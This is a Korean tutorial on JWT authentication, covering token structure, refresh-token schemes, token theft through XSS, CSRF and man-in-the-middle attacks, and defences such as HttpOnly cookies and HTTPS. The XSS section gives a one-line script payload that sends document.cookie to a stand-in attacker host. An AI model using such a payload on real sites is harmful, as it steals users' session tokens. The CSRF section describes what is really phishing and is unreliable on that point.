1. JWT란 무엇인가?
2. 왜 JWT를 사용해야하는가?
3. JWT는 안전한가?
4. 토큰 탈취는 어떻게 이루어지는가?
5. 나는 어떤 방법으로 보안을 강화해야할까?
✅ JWT(JSON Web Token)란 무엇인가?
웹에서 사용되는 JSON 형식의 토큰에 대한 표준 규격으로 사용자의 인증, 인가 정보를 서버와 클라이언트 간에 안전하게 주고 받기 위해 사용되는 토큰이다.
- header, payload, signature로 구성되어 있으며 Base64-URL 문자열 형태로 "."을 통해서 구분되어 있다.
📦 header
일반적으로 토큰 유형과 서명 알고리즘으로 구성되어 있으며 JWT의 첫 번째 부분을 구성한다.
{
"alg": "HS256",
"typ": "JWT"
}
📦 payload
세가지 유형의 클레임(등록된 클레임, 공개 클레임, 비공개 클레임)을 포함하고 있으며 두 번째 부분을 구성한다.
// 기본적인 예시
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
// 등록된 클래임 2개, 공개 클레임 1개, 비공개 클래임 2개로 구성된 예시
{
"iss": "velopert.com",
"exp": "1485270000000",
"https://velopert.com/jwt_claims/is_admin": true,
"userId": "11028373727102",
"username": "velopert"
}
🫧 클레임 종류
- 등록된 클레임: 유용하고 상호 운용 가능한 클레임 집합을 제공하기 위해 미리 정의된 클레임 집합으로 서비스에 필요한 정보가 아닌, 토큰에 대한 정보를 담기 위한 것이며 모두 선택적이나 권장되는 사항이며 iss(발행자), exp(만료 시간), sub(주제), aud(청중)등이 있다.
- 공개 클레임: JWT를 사용하는 사람들이 원하는대로 정의할 수 있으나 충돌이 방지된 이름을 가지고 있어야 하기에 충돌을 방지하기 위해선 IANA JSON 웹 토큰 레지스트리에 정의하거나 충돌 방지 네임스페이스를 포함하는 URI로 정의해야 한다.
- 비공개 클레임: 사용에 동의한 당사자 간에 정보를 공유하기 위해 생성된 맞춤 클레임으로, 등록되거나 공개 된 클레임이 아니며 이름이 중복되어 충돌이 발생할 수 있다.
📦 Signature
인코딩 된 header와 payload를 합쳐 비밀 키로 해쉬하여 생성하며 메시지가 도중에 변경되지 않았는지(무결성) 확인하는데 사용된다. 또한 개인 키로 서명된 토큰의 경우 보낸 사람이 누구인지도 확인할 수 있으며 JWT의 마지막 부분을 구성한다.
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
✅ 왜 JWT를 사용해야 하는가?
📦 JWT의 특징
1. stateless인 http 통신에 적합하다.
- 상태를 유지하지 않는 http통신의 특성과 잘 어울리며 이를 통해 db에 세션을 저장하는 것과 같이 메모리를 소모할 일이 없다.
- 이는 서버 확장성이 뛰어나며 소셜 로그인과 같은 사용자에 대한 인증 방식의 확장이 가능다
2. 별도의 저장소가 필요가 없다.
- 사용자에 인증에 필요한 정보를 토큰 자체에 담고 있기에 별도의 저장소가 필요가 없으며, 이와 관련되서 보안적으로 signature를 사용하여 일부 완화하였다.
- 서버는 복잡한 인증 과정 없이 토큰만으로 사용자를 인증 및 인가할 수 있다.
✅ JWT는 안전한가?
단순히 안전한지에 여부를 묻는다면 안전하지만은 않다. JWT는 세션과 쿠키와 같은 방식과는 다르게 JWT 자체적으로 사용자 인증에 관한 정보를 가지고 있기에 공격자에게 탈취당하여 공격자가 JWT를 그대로 이용한다면 서버측에서는 이를 구분할 수 없다.
그래서 이에 대한 보안책으로 Refresh Token을 통해 보안을 강화한다. (필수는 아니지만 보안을 강화해야 하니깐 써야 함)
📦 Refresh Token 사용 시 구조
- Access Token과 Refresh Token을 함께 사용한다.
- Access Token의 유효기간을 짧게 설정하고 Refresh Token의 유효기간은 상대적 길게 설정한다.
- Access Token의 유효기간이 만료되면 Refresh Token으로 Access Token을 재발급 받는다.
- 공격자는 Access Token을 탈취하더라도 유효기간이 짧기에 만료 이후에는 사용할 수 없다.
위와 같은 상황에서는 허첨이 굉장히 많이 보인다. 왜냐하면 아래와 같은 상황에서 어떻게 대처할지를 설정하지 않았기 때문이다.
- Refresh Token이 탈취당해 공격자가 새로운 Access Token을 발급 받아 접근한 경우
- Access Token과 Refesh Token 모두 탈취당한 경우
📦 Refresh Token 탈취의 경우
공격자는 현재 Access Token이 만료되었다면서 Refresh Token을 통해 새로운 Access Token을 서버로 부터 발급받아 사용한다면 서버는 이를 잘못되었는지를 구분할 수 없다.
- 이에 stateless 상태를 조금 양보해야한다. 서버는 Refresh Token과 Access Token을 1대1로 맵핑하여 저장한다.
- 이를 통해 정상적인 사용자가 사용하고 있는 Access Token과 현재 서버에서 가지고 있는 Access Token을 비교하여 검증을 한다.
- 이러한 방법을 통해 공격자가 발급받은 Access Token이 서버에서 가지고 있는 것과 다르다면 공격자의 Access Token과 서버의 Access Token모두 유효기간이 남아있더라도 만료시킨다.(정상적인 사용자도 같이 만료가 됨)
- 이는 정상적인 사용자가 Access Token을 발급받기 전에 공격자가 먼저 발급 받았을 시에도 동일하게 적용되기에 둘 다 만료시키는 것이 보안적으로 더 좋다고 생각된다.
Access Token과 Refesh Token 모두 탈취당한 경우
이건 망했다고 보면 된다. db에 쌍으로 존재하게 하며 이와 비교하여 검증하는 방식으로 토큰을 유지하는데도 둘 다 탈취를 당했다면 서버는 이를 구분할 수 있는 방법이 없다. 그렇기에 우리는 어떻게 Refresh Token과 Access Token이 탈취되는지를 보고 이를 방지하기위한 대책을 마련해야 한다.
✅ 토큰 탈취는 어떻게 이루어지는가?
📦 Client에서 Access Token 탈취 방법
Access token 자체를 탈취한다기보다는 Client에서 관리되는 store를 조회하여 정보를 빼가는 형식으로 보인다.
- XSS (Cross Site Scripting)
- CSRF (Cross-site Request Forgery)
XSS
보안이 취약한 웹 사이트에 악의적인 스크립트를 넣어 사용자가 이 스크립트를 강제로 실행하 유도하여 사용자의 Access Token을 탈취하는 기법
- 보안이 취약한 커뮤니티 서비스가 있을 때 게시글 아래에 스크립트를 넣어 클릭을 유도하는 상황이 있을 것이다.
- 이러한 스크립트가 실행되면서 사용자가 가지고 있는 쿠키나 로컬 스토리지에 접근하여 정보를 탈취하는 방식이다.
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
CSRF
공격자가 의도한 행우를 특정 웹사이트에 요청하게 만드는 기법으로 이상한 메시지만 안눌러도 반은 먹고 들어간다.
- 인스타 DM으로 이상한 메시지가 와서 이를 클릭하면 URL이 다르지만 UI는 똑같은 사이트가 나올 것이다.
- 이러한 사이트에 로그인을 하게 되면 아이디와 비밀번호에 대한 정보가 공격자에게 탈취당하는 구조이다.
대응방식으로 대표적으로 XSS는 set-Cookie의 HttpOnly 속성을 부여하여 Javascript 상에서 접근을 불가능하게 만들면 되고 CSRF는 클릭 안하면 됨 (대응 방식이 더 많지만 간단히 ㄱㄱ)
📦 Refresh Token 탈취 방법 (MITM)
공격자가 사용자의 인터넷 서버와 해당 인터넷 트래픽의 목적지 사이에 끼어들어 전송을 가로채는 기법이다.
- Http Only Cookie를 이용해서 쿠키에 접근을 하지 못하도록 하였지만 탈취당할 수 있다.
- HTTPS만을 사용하거나 VPN을 사용하는 등의 방법을 통해 이를 방지할 수 있다
✅ 나는 어떤식으로 보안을 강화해야할까?
우리는 JWT를 사용하면서 보안을 강화할 수 있는 방법인 Refresh Token을 적극적으로 활용해야 한다. 이를 통해서 DB에 토큰을 맵핑하여 저장하는 방식을 고려해보며 필요시에 사용해야하며, Token의 저장에 대해 보안을 강화하기 위해 Http Only Cookie를 사용하여 Token을 관리하며 HTTPS를 사용하여 혹시 모를 Http Only Cookie의 탈취에 대해서도 고려를 해야한다.